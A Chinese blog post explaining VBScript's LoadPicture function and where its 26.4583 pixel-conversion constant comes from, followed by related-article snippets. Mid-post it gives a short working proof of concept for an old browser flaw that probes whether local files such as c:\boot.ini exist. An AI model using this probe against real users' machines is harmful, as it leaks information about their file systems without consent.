vbscript LoadPicture函数使用方法与漏洞利用

代码如下:

<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>

不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:

代码如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>

这段代码中有一个“魔法数字(Magic Number)”26.4583,曾经有位昵称是“乱码”的朋友问过我这个26.4583是怎么来的,当时我也不知道。

前段时间逆向分析了一下vbscript.dll,才发现了其中的奥秘:


代码如下:

26.4583 = 2540 / 96

那你一定要问,这个2540和96又是怎么来的?

要弄清楚这个问题,首先要知道VBS的LoadPicture函数返回的到底是什么,VBS文档是这么描述LoadPicture函数的:

Returns a picture object. Available only on 32-bit platforms.

只说返回图片对象,却没说该图片对象有什么属性和方法。文档语焉不详,只好动用OllyDbg了:

LoadPicture函数内部调用了OleLoadPicture函数,查文档可知返回的是IPictureDisp接口。不过后来我发现了更简单的方法,那就是查VB的函数声明(谁让它们是一家人呢),在VB的对象浏览器中查找LoadPicture函数:

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp虽然VBS的LoadPicture函数比VB的简单,但是返回值应该是一样的。

好了,知道返回的是IPictureDisp接口,文档说它支持下面的属性:
































Property Type Access Description
Handle OLE_HANDLE (int) R The Windows GDI handle of the picture
hPal OLE_HANDLE (int) RW The Windows handle of the palette used by the picture.
Type short R The type of picture (see PICTYPE).
Width OLE_XSIZE_HIMETRIC (long) R The width of the picture.
Height OLE_YSIZE_HIMETRIC (long) R The height of the picture.

我们只关心Width和Height,它们分别表示图片的宽和高,但是它们的单位不是像素(Pixel),而是Himetric,我们要做的是把Himetric换算成Pixel。

首先把Himetric换算成英寸(Inch),1 Himetric = 0.01 mm,1 Inch = 2.54 cm,所以1 Inch = 2540 Himetric。

然后从Inch换算成Pixel,1 Inch等于多少Pixel呢?这是由系统的DPI(Dot Per Inch)设置决定的,默认值是96。

现在知道2540和96是怎么来的了吧?不过上面的代码存在两个问题:第一,使用了2540/96的近似值,可能会有误差;第二,使用了DPI的默认值96,而DPI的值是可以在控制面板中修改的。

VBS中LoadPicture函数的正确用法是:

代码如下:

Option Explicit

'By Demon
Dim p
Set p = LoadPicture("D:\test.jpg")
WScript.Echo "Width: " & Himetric2Pixel(p.Width)
WScript.Echo "Height: " & Himetric2Pixel(p.Height)

Function Himetric2Pixel(n)
'1 Inch = 2540 Himetric
Const key = "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\AppliedDPI"
Dim WshShell, dpi
Set WshShell = WScript.CreateObject("Wscript.Shell")
dpi = WshShell.RegRead(key)
Himetric2Pixel = Round(n * dpi / 2540)
End Function

Windows 7下通过测试,其他系统中获取DPI的方法可能会不同,请自行修改。

上面修正的内容来自: http://demon.tw/programming/vbs-loadpicture.html

(0)

相关推荐

  • VBS教程:函数-LoadPicture 函数

    LoadPicture 函数返回图片对象. LoadPicture(picturename) picturename 参数是字符串表达式,该表达式指明了要装入的图片文件的名称. 说明可以由 LoadPicture 识别的图形格式有位图文件 (.bmp).图标文件 (.ico).行程编码文件 (.rle).图元文件 (.wmf).增强型图元文件 (.emf).GIF (.gif) 文件和 JPEG (.jpg) 文件.

  • vbs中的LoadPicture函数示例

    示例: LoadPicture函数 选择图片 Sub GetPicInfor() dim objpic,iWidth,iHeight dim pictype,picpath picpath=document.frm.pic.value set objpic=Loadpicture(picpath) iWidth = round(objpic.width / 26.4583) '26.4583是像素值 iHeight = round(objpic.height / 26.4583) select

  • vbscript LoadPicture函数使用方法与漏洞利用

    复制代码 代码如下: <title>LoadPicture函数</title> <form name="frm"> 选择图片<input type="file" name="pic" onChange="GetPicInfor()" > </form> <script language="vbscript"> Sub GetPicInf

  • 在python中利用最小二乘拟合二次抛物线函数的方法

    1.最小二乘也可以拟合二次函数 我们都知道用最小二乘拟合线性函数没有问题,那么能不能拟合二次函数甚至更高次的函数呢?答案当然是可以的.下面我们就来试试用最小二乘来拟合抛物线形状的的图像. 对于二次函数来说,一般形状为 f(x) = a*x*x+b*x+c,其中a,b,c为三个我们需要求解的参数.为了确定a.b.c,我们需要根据给定的样本,然后通过调整这些参数,知道最后找出一组参数a.b.c,使这些所有的样本点距离f(x)的距离平方和最小.用什么方法来调整这些参数呢?最常见的自然就是我们的梯度下降

  • 利用python在excel里面直接使用sql函数的方法

    我们一般在Excel里面是使用数据连接属性里面写sql语句,或者vba里面利用ado组件执行sql语句. 新版的Excel里面带上了Power query的功能也可以使用Odbc.DataSource()和Odbc.Query()函数写sql语句. 今天讲一下利用Python直接在excel里面使用xlwings addin 里的一个名为sql的函数. 首先我们需要在python里面安装好xlwings模块. 执行pip/conda install xlwings命令 即可完成安装. 然后继续在

  • 从MS03-049漏洞利用看调试系统进程(图)

    适合读者:漏洞分析员.黑迷 前置知识:溢出漏洞基本调试步骤.Softice基本使用方法 WTF:Windows XP SP2相信是大家都在关注的一个系统,这个版本刚推出的时候,由于其具有溢出保护机制,传统的溢出利用方式已经不行了,它也因此而备受青睐.记得当时同行们也开始嘀咕着是否还有继续研究溢出漏洞利用技术的必要.但是随着时间的推移,XP SP2也慢慢暴露出与以前的操作系统版本存在的兼容性问题,比如,有的软件在Windows 2000或XP SP0.SP1上能正常使用,在SP2上却不行:XP S

  • vbscript Split函数用法详解(字符串转数组函数)

    vbscript Split 函数用法 用法:传回数组 = Split(原始字串, 要找的字串, 拆成几个数组) 描述返回一个下标从零开始的一维数组,它包含指定数目的子字符串.语法Split(expression[, delimiter[, count[, compare]]]) 例如用逗号(,)分割字符串为数组 复制代码 代码如下: str="1,2,3,4"strarr=split(str,",")for i=0 to ubound(strarr)msgbox

  • 关于Redis未授权访问漏洞利用的介绍与修复建议

    前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧. 一.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Re

  • SQL Server 常用函数使用方法小结

    之前就想要把一些 SQL 的常用函数记录下来,不过一直没有实行...嘿嘿... 直到今天用到substring()这个函数,C# 里面这个方法起始值是 0,而 SQL 里面起始值是 1.傻傻分不清楚... 这篇博客作为记录 SQL 的函数的使用方法,想到哪里用到哪里就写到哪里... SubString():用于截取指定字符串的方法.该方法有三个参数: 参数1:用于指定要操作的字符串. 参数2:用于指定要截取的字符串的起始位置,起始值为 1 . 参数3:用于指定要截取的长度. select sub

  • jquery常用函数与方法汇总

    1.delay(duration,[queueName]) 设置一个延时来推迟执行队列中之后的项目. jQuery 1.4新增.用于将队列中的函数延时执行.他既可以推迟动画队列的执行,也可以用于自定义队列. duration:延时时间,单位:毫秒 queueName:队列名词,默认是Fx,动画队列. 例: 头部与底部延迟加载动画效果 $(document).ready(function() { $('#header') .css({ 'top':-50 }) .delay(1000).anima

  • Yii2中添加全局函数的方法分析

    本文实例讲述了Yii2中添加全局函数的方法.分享给大家供大家参考,具体如下: 方法一 这种方法就是直接在入口文件web/index.php里面写函数,示例代码如下: // something code -- // 全局函数 function pr($var) { $template = php_sapi_name() !== 'cli' ? '<pre>%s</pre>' : "\n%s\n"; printf($template, print_r($var, t

  • JS中跨页面调用变量和函数的方法(例如a.js 和 b.js中互相调用)

    在项目开发过程中,也许你会遇这样的情况. 在某一Js文件中需要完成某一功能,但这一功能的大部分代码在另外一个Js文件中已经完成了,自己只需要调用这个方法再加上几句代码就可以实现所需的功能. 我们知道,在html中,利用<script language="javascript" type="text/javascript" src="./script.js"></script>引入的两个js是不可以相互调用的.那么该如何解决

随机推荐